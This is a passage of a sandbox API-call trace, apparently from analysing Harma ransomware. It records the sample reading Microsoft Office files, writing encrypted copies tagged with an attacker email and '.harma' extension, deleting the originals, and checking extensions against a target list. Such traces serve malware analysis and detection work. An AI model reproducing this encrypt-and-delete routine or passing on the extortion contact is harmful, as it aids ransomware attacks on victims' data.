lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.619] WriteFile (in: hFile=0x208, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0165.619] SetEndOfFile (hFile=0x208) returned 1 [0165.619] CloseHandle (hObject=0x208) returned 1 [0165.619] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.620] SetEndOfFile (hFile=0x218) returned 1 [0165.622] CloseHandle (hObject=0x218) returned 1 [0165.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 1 [0165.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.623] lstrlenW (lpString=".doc") returned 4 [0165.623] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.624] lstrlenW (lpString=".docx") returned 5 [0165.624] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.624] lstrlenW (lpString=".pdf") returned 4 [0165.624] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.624] lstrlenW (lpString=".xls") returned 4 [0165.624] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.624] lstrlenW (lpString=".xlsx") returned 5 [0165.624] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.624] lstrlenW (lpString=".ppt") returned 4 [0165.624] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.624] lstrlenW (lpString=".zip") returned 4 [0165.624] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.624] lstrlenW (lpString=".rar") returned 4 [0165.624] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.624] lstrlenW (lpString=".bz2") returned 4 [0165.624] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.624] lstrlenW (lpString=".7z") returned 3 [0165.624] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.624] lstrlenW (lpString=".dbf") returned 4 [0165.624] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.624] lstrlenW (lpString=".1cd") returned 4 [0165.624] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.624] lstrlenW (lpString=".jpg") returned 4 [0165.624] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.625] lstrlenW (lpString=".doc") returned 4 [0165.625] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.625] lstrlenW (lpString=".docx") returned 5 [0165.625] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.625] lstrlenW (lpString=".pdf") returned 4 [0165.625] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.625] lstrlenW (lpString=".xls") returned 4 [0165.625] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.625] lstrlenW (lpString=".xlsx") returned 5 [0165.625] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.625] lstrlenW (lpString=".ppt") returned 4 [0165.625] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.625] lstrlenW (lpString=".zip") returned 4 [0165.625] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.625] lstrlenW (lpString=".rar") returned 4 [0165.625] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.625] lstrlenW (lpString=".bz2") returned 4 [0165.625] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.625] lstrlenW (lpString=".7z") returned 3 [0165.625] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.625] lstrlenW (lpString=".dbf") returned 4 [0165.625] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.625] lstrlenW (lpString=".1cd") returned 4 [0165.625] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0165.625] lstrlenW (lpString=".jpg") returned 4 [0165.625] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.626] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0165.626] lstrlenW (lpString="WORKFLOW.VSL") returned 12 [0165.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.626] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=42336) returned 1 [0165.626] CloseHandle (hObject=0x218) returned 1 [0165.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 0x20 [0165.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.627] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.627] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.628] GetLastError () returned 0x0 [0165.628] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xa560, lpOverlapped=0x0) returned 1 [0165.867] WriteFile (in: hFile=0x208, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa570, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xa570, lpOverlapped=0x0) returned 1 [0165.869] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.869] WriteFile (in: hFile=0x208, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.869] SetEndOfFile (hFile=0x208) returned 1 [0165.869] CloseHandle (hObject=0x208) returned 1 [0165.869] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.869] SetEndOfFile (hFile=0x218) returned 1 [0165.874] CloseHandle (hObject=0x218) returned 1 [0165.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 1 [0165.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.898] lstrlenW (lpString=".doc") returned 4 [0165.898] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0165.898] lstrlenW (lpString=".docx") returned 5 [0165.898] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0165.898] lstrlenW (lpString=".pdf") returned 4 [0165.898] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0165.898] lstrlenW (lpString=".xls") returned 4 [0165.898] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0165.898] lstrlenW (lpString=".xlsx") returned 5 [0165.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0165.898] lstrlenW (lpString=".ppt") returned 4 [0165.898] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0165.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.898] lstrlenW (lpString=".zip") returned 4 [0165.899] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0165.899] lstrlenW (lpString=".rar") returned 4 [0165.899] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString=".bz2") returned 4 [0165.899] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString=".7z") returned 3 [0165.899] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.899] lstrlenW (lpString=".dbf") returned 4 [0165.899] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.899] lstrlenW (lpString=".1cd") returned 4 [0165.899] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.899] lstrlenW (lpString=".jpg") returned 4 [0165.899] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.899] lstrlenW (lpString=".doc") returned 4 [0165.899] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString=".docx") returned 5 [0165.899] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0165.899] lstrlenW (lpString=".pdf") returned 4 [0165.899] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0165.899] lstrlenW (lpString=".xls") returned 4 [0165.899] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0165.899] lstrlenW (lpString=".xlsx") returned 5 [0165.899] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0165.900] lstrlenW (lpString=".ppt") returned 4 [0165.900] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.900] lstrlenW (lpString=".zip") returned 4 [0165.900] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0165.900] lstrlenW (lpString=".rar") returned 4 [0165.900] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0165.900] lstrlenW (lpString=".bz2") returned 4 [0165.900] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0165.900] lstrlenW (lpString=".7z") returned 3 [0165.900] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.900] lstrlenW (lpString=".dbf") returned 4 [0165.900] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.900] lstrlenW (lpString=".1cd") returned 4 [0165.900] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0165.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0165.900] lstrlenW (lpString=".jpg") returned 4 [0165.900] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0165.900] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0165.900] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0165.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.928] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=2362752) returned 1 [0165.928] CloseHandle (hObject=0x344) returned 1 [0165.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll")) returned 0x20 [0165.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0165.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.941] lstrlenW (lpString=".doc") returned 4 [0165.941] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.941] lstrlenW (lpString=".docx") returned 5 [0165.941] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0165.941] lstrlenW (lpString=".pdf") returned 4 [0165.941] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.941] lstrlenW (lpString=".xls") returned 4 [0165.941] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.941] lstrlenW (lpString=".xlsx") returned 5 [0165.941] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0165.941] lstrlenW (lpString=".ppt") returned 4 [0165.941] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.941] lstrlenW (lpString=".zip") returned 4 [0165.941] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.941] lstrlenW (lpString=".rar") returned 4 [0165.941] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.941] lstrlenW (lpString=".bz2") returned 4 [0165.941] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.941] lstrlenW (lpString=".7z") returned 3 [0165.941] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.942] lstrlenW (lpString=".dbf") returned 4 [0165.942] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.942] lstrlenW (lpString=".1cd") returned 4 [0165.942] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.942] lstrlenW (lpString=".jpg") returned 4 [0165.942] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.942] lstrlenW (lpString=".doc") returned 4 [0165.942] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString=".docx") returned 5 [0165.942] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0165.942] lstrlenW (lpString=".pdf") returned 4 [0165.942] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString=".xls") returned 4 [0165.942] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString=".xlsx") returned 5 [0165.942] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0165.942] lstrlenW (lpString=".ppt") returned 4 [0165.942] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.942] lstrlenW (lpString=".zip") returned 4 [0165.942] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString=".rar") returned 4 [0165.942] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.942] lstrlenW (lpString=".bz2") returned 4 [0165.942] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.942] lstrlenW (lpString=".7z") returned 3 [0165.943] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.943] lstrlenW (lpString=".dbf") returned 4 [0165.943] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.943] lstrlenW (lpString=".1cd") returned 4 [0165.943] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0165.943] lstrlenW (lpString=".jpg") returned 4 [0165.943] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.943] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0165.943] lstrlenW (lpString="XLLEX.DLL") returned 9 [0165.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.945] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=37760) returned 1 [0165.945] CloseHandle (hObject=0x344) returned 1 [0165.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll")) returned 0x20 [0165.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.946] lstrlenW (lpString=".doc") returned 4 [0165.946] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.946] lstrlenW (lpString=".docx") returned 5 [0165.946] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0165.946] lstrlenW (lpString=".pdf") returned 4 [0165.946] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.946] lstrlenW (lpString=".xls") returned 4 [0165.946] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.946] lstrlenW (lpString=".xlsx") returned 5 [0165.946] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0165.946] lstrlenW (lpString=".ppt") returned 4 [0165.946] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.947] lstrlenW (lpString=".zip") returned 4 [0165.947] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.947] lstrlenW (lpString=".rar") returned 4 [0165.947] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.947] lstrlenW (lpString=".bz2") returned 4 [0165.947] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.947] lstrlenW (lpString=".7z") returned 3 [0165.947] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.947] lstrlenW (lpString=".dbf") returned 4 [0165.947] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.947] lstrlenW (lpString=".1cd") returned 4 [0165.947] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.947] lstrlenW (lpString=".jpg") returned 4 [0165.947] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.947] lstrlenW (lpString=".doc") returned 4 [0165.947] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.947] lstrlenW (lpString=".docx") returned 5 [0165.947] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0165.947] lstrlenW (lpString=".pdf") returned 4 [0165.947] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.947] lstrlenW (lpString=".xls") returned 4 [0165.947] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.947] lstrlenW (lpString=".xlsx") returned 5 [0165.948] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0165.948] lstrlenW (lpString=".ppt") returned 4 [0165.948] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.948] lstrlenW (lpString=".zip") returned 4 [0165.948] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.948] lstrlenW (lpString=".rar") returned 4 [0165.948] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.948] lstrlenW (lpString=".bz2") returned 4 [0165.948] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.948] lstrlenW (lpString=".7z") returned 3 [0165.948] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.948] lstrlenW (lpString=".dbf") returned 4 [0165.948] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.948] lstrlenW (lpString=".1cd") returned 4 [0165.948] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0165.948] lstrlenW (lpString=".jpg") returned 4 [0165.948] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.948] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0165.948] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0165.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0165.950] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=177536) returned 1 [0165.950] CloseHandle (hObject=0x344) returned 1 [0165.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll")) returned 0x20 [0165.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 